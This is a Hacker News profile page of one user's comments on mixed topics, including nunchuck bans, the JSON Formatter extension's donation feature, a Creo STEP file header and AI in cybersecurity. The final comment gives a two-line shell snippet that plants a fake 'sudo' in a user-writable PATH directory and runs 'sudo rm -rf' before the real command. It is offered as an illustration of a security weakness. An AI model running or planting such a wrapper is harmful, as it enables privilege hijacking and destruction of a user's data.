Hacker Newsnew | past | comments | ask | show | jobs | submit | mjmas's commentslogin

> was a thing

Still a thing in Australia.


I never understood banning nunchucks. They kind of ban themselves.

If you've ever been a kid copying TMNT Michelangelo with home made nunchucks you've almost certainly smacked yourself in the face.

Y'know what's martially better than two sticks with a string between them? A single big stick.


The reason is slaves needed a stick for rice - putting a chain between two stick sill works fine for rice work - but makes it a much worse weapon.

That reasoning makes no sense. There was no significant production of rice by slaves.

But also, threshing flails were used outside of rice-growing regions.

https://upload.wikimedia.org/wikipedia/commons/8/81/Battage_...

Considering that they must be hundreds of times more expensive than long sticks with no hinge, I would say the reason must be that they're better at threshing.


Slaves was probably the wrong term, my understanding is more like oppressed farmers as opposed to slaves?

In the end though, I'm not an expert. I'm repeating what people who seem to be experts have told me and it makes sense - but I can't judge who is an expert. (either you random hacker news commenter, or whatever other "expert"). I'll gladly stand corrected if anyone can show they really are an expert.


Cuz ninja, of course.

>I never understood banning nunchucks. They kind of ban themselves.

I mean, that's a solid reason to ban them :-)

In countries where healthcare is socialized at least. As a cost-saving measure.

They're melee equivalents of footguns.

>If you've ever been a kid copying TMNT Michelangelo with home made nunchucks you've almost certainly smacked yourself in the face.

I've seen qualified users train with metal nunchucks as a kid in the early 90s.

Even then I thought, if I had those, I'd knock my own brains out so fast ಠ , _ ಠ

>Y'know what's martially better than two sticks with a string between them? A single big stick.

Also an order of magnitude safer for the user.


> PHP-era

PHP-era is still today


A second reply that happened because the article reappeared on the front page.

The author's response to one of the reviews:

https://chromewebstore.google.com/review-reply/b4a787df-64e5...

> Give Freely is not spyware/adware or any kind of 'scam'. It's an optional donation appeal that asks you (if you happen to visit a retailer which happens to be a Give Freely partner) to click a button to donate unclaimed affiliate fees, with most of the money going to Code.org or another charity of your choice. I've met the Give Freely team and trust them. It does not collect any PII or browsing activity, and it doesn't overwrite other affiliate/voucher codes so it never costs you anything. If you find the donation popup too intrusive/annoying you can disable it forever in the extension options, or in the donation popup itself.

> Code.org is a good cause that's relevant to a lot of the same people who use this extension regularly, and clicking a Give Freely donate button is a genuinely free and anonymous way to show your support for both, if you want to. If you don't like it you can turn it off, or if it makes you more comfortable you can switch to JSON Formatter Classic, which has no Give Freely code and corresponds with the v0.8 branch in my archived json-formatter GitHub repo. Or try one of the many forks or alternatives available on the store.

> JSON Formatter Classic: https://chromewebstore.google.com/detail/json-formatter-clas...


Regardless of the intent, it was poorly executed and highlights security gaps inherent in the distribution model of browser extensions.

They use Creo it seems:

  ISO-10303-21;
  HEADER;
  FILE_DESCRIPTION((''),'2;1');
  FILE_NAME('DIGAI_1_1_1_1_1_1_1','2025-01-07T11:51:29',('\X2\7B26836394A6\X0\'),(
  ''),'CREO PARAMETRIC BY PTC INC, 2022073','CREO PARAMETRIC BY PTC INC, 2022073',
  '');
  FILE_SCHEMA(('CONFIG_CONTROL_DESIGN'));
  ENDSEC;

Rebalancing: ))

Limiting it to the area of cybersecurity is by definition not general.

Perhaps "ASI" is the better acronym here

Yes that’s true. I misspoke. I meant - is this a super intelligent tool then for cybersecurity?

Which S are you thinking of here?

The law in Australia also has teeth, but visiting the link above just gets me (what seems to be) the US version of the terms without anything around commercial use.

That's helpful. I always wondered what the * and # modes were for and why some sometimes only one of them worked.


This also works fine without a sandbox:

  echo -e '#!/bin/sh\nsudo rm -rf/\nexec sudo "$@"' >~/.local/bin/sudo
  chmod +x ~/.local/bin/sudo
Especially since $PATH often includes user-writeable directories.


Guidelines | FAQ | Lists | API | Security | Legal | Apply to YC | Contact

Search: